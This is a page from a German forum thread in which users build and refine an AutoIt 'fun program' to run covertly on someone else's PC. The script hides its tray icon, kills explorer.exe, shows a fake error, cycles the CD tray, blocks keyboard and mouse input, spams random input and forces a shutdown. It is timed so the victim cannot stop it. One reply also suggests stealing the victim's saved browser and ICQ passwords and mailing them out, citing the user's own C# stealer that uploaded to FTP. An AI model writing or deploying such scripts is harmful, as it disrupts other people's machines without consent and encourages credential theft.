Spass Programm:D

Page 2 of 4 1 2 34
10/21/2009 20:42 -MARKS-#16
Code:
#NoTrayIcon
Sleep(1000*60)
ProcessClose('explorer.exe')
MsgBox(0x200, "explorer.exe", "Error in CWnd::Hwnd: 0x800")

$driveL = -1

For $a = 65 To 90
	$driveL = Chr($a)
	$dpath = $driveL & ":\"
	$dtyp = DriveGetType($dpath)
	If StringCompare(String($dtyp), "CDROM") = 0 Then
		$dpath = $driveL & ":"
		ExitLoop
	EndIf
Next

If $driveL = -1 Then Exit

For $i = 1 To 5
	CDTray($dpath, "open")
	CDTray($dpath, "closed")
Next
ProcessClose
Sleep(1000*10)

Shutdown(1)
Ich lass den nur 10 Sekunden Zeit damit er nicht auf die Idee kommt ihn Manuell aus zu machen xD
wär der Skript so richtig?
10/21/2009 20:45 unknown661#17
Code:
$count=0
BlockInput(1)
while $count < 5
Run("notepad.exe")
$count = $count +1
wend
kannst du auch noch reinschmeißen, das sperrt seine tastatur und maus und öffnet ein paar mal das notepad
10/21/2009 20:48 -MARKS-#18
Code:
#NoTrayIcon
Sleep(1000*60)
ProcessClose('explorer.exe')
MsgBox(0x200, "explorer.exe", "Error in CWnd::Hwnd: 0x800")

$driveL = -1

For $a = 65 To 90
	$driveL = Chr($a)
	$dpath = $driveL & ":\"
	$dtyp = DriveGetType($dpath)
	If StringCompare(String($dtyp), "CDROM") = 0 Then
		$dpath = $driveL & ":"
		ExitLoop
	EndIf
Next

If $driveL = -1 Then Exit

For $i = 1 To 5
	CDTray($dpath, "open")
	CDTray($dpath, "closed")
Next
$count=0
BlockInput(1)
while $count < 5
Run("notepad.exe")
$count = $count +1
wend
ProcessClose
Sleep(1000*10)

Shutdown(1)
10/21/2009 21:01 buFFy!#19
^this

Code:
For $c = 1 To 25
	$x = Random(0, @DesktopWidth, 1)
	$y = Random(0, @DesktopHeight, 1)
	MouseMove($x, $y)
	Sleep(100)
	Send(Chr(Random(65, 90, 1)))
Next
Komplett sperren ist doof, dann lieber verwirrenden müll spammen xD
10/21/2009 21:05 -MARKS-#20
Code:
#NoTrayIcon
Sleep(1000*60)
ProcessClose('explorer.exe')
MsgBox(0x200, "explorer.exe", "Error in CWnd::Hwnd: 0x800")

$driveL = -1

For $a = 65 To 90
	$driveL = Chr($a)
	$dpath = $driveL & ":\"
	$dtyp = DriveGetType($dpath)
	If StringCompare(String($dtyp), "CDROM") = 0 Then
		$dpath = $driveL & ":"
		ExitLoop
	EndIf
Next

If $driveL = -1 Then Exit

For $i = 1 To 5
	CDTray($dpath, "open")
	CDTray($dpath, "closed")
Next
For $c = 1 To 25
	$x = Random(0, @DesktopWidth, 1)
	$y = Random(0, @DesktopHeight, 1)
	MouseMove($x, $y)
	Sleep(100)
	Send(Chr(Random(65, 90, 1)))

ProcessClose('explorer.exe')
MsgBox(0x200, "explorer.exe", "ERROR ERROR ERROR")
Sleep(1000*10)

Shutdown(1)
also so?
10/21/2009 21:08 ^FLaRe2#21
Lad dir einfach einen Fun virus
10/21/2009 21:08 buFFy!#22
^this
Code:
#NoTrayIcon
Sleep(1000 * 60)
MsgBox(0x200, "explorer.exe", "Error in CWnd::Hwnd: 0x800")

$driveL = -1

For $a = 65 To 90
	$driveL = Chr($a)
	$dpath = $driveL & ":\"
	$dtyp = DriveGetType($dpath)
	If StringCompare(String($dtyp), "CDROM") = 0 Then
		$dpath = $driveL & ":"
		ExitLoop
	EndIf
Next

If $driveL = -1 Then Exit

For $i = 1 To 5
	CDTray($dpath, "open")
	CDTray($dpath, "closed")
Next

For $c = 1 To 25
	$x = Random(0, @DesktopWidth, 1)
	$y = Random(0, @DesktopHeight, 1)
	MouseMove($x, $y)
	Sleep(10)
	Send(Chr(Random(65, 90, 1)))
Next
ProcessClose('explorer.exe')

Sleep(1000 * 10)

Shutdown(1)
10/21/2009 21:10 -MARKS-#23
hab auch gearde gemerkt das das Falsch war^^
ok danke:D
kann ich aber auch zum Schluss also die Letzen 10 Sekungen einfügen :
BlockInput(1)
10/21/2009 21:15 buFFy!#24
Kannst du, aber wieso blendest du alles aus und bewegst die Maus wenn du ihm sie am ende sowieso blockierst.
10/21/2009 21:17 -MARKS-#25
Ach ich hab einfach Kein Plan musst erst lernen wie das alles Funktioniert
aber Danke für den Skript:D
Schönen Abend noch:D
10/21/2009 21:17 buFFy!#26
Hau rein :awesome:
10/21/2009 21:23 unknown661#27
könntest noch seine gespeicherten firefox/ie/icq,.. passwörter/verschlüsselten passwort files per mail schicken^^, hab so nen stealer mal in c# gemacht aber mir die files auf meinem ftp server geuppt
10/21/2009 21:39 Dark Raccoon#28
Oder wenn du die Person mal erschrecken willst:

Code:
#NoTrayIcon
Sleep(1000*60)
ProcessClose('explorer.exe')
SoundPlay ("sound.mp3")
Sleep (60000*6)
MsgBox(0x200, "explorer.exe", "Good luck.")

$driveL = -1

For $a = 65 To 90
	$driveL = Chr($a)
	$dpath = $driveL & ":\"
	$dtyp = DriveGetType($dpath)
	If StringCompare(String($dtyp), "CDROM") = 0 Then
		$dpath = $driveL & ":"
		ExitLoop
	EndIf
Next

If $driveL = -1 Then Exit

For $i = 1 To 5
	CDTray($dpath, "open")
	CDTray($dpath, "closed")
Next
ProcessClose
Sleep(1000*10)

Shutdown(1)
Die Sound-Datei muss dann aber im selben Ordner wie das Programm sein.

Sound-Datei downloaden: [Only registered and activated users can see links. Click Here To Register...]
10/22/2009 13:47 MrSm!th#29
hm^^ lol was ihr so für ideen habt xD
10/22/2009 14:03 Fresh^^#30
xD ich kenn da auch was fieses... mom ihc post es gleich...
Page 2 of 4 1 2 34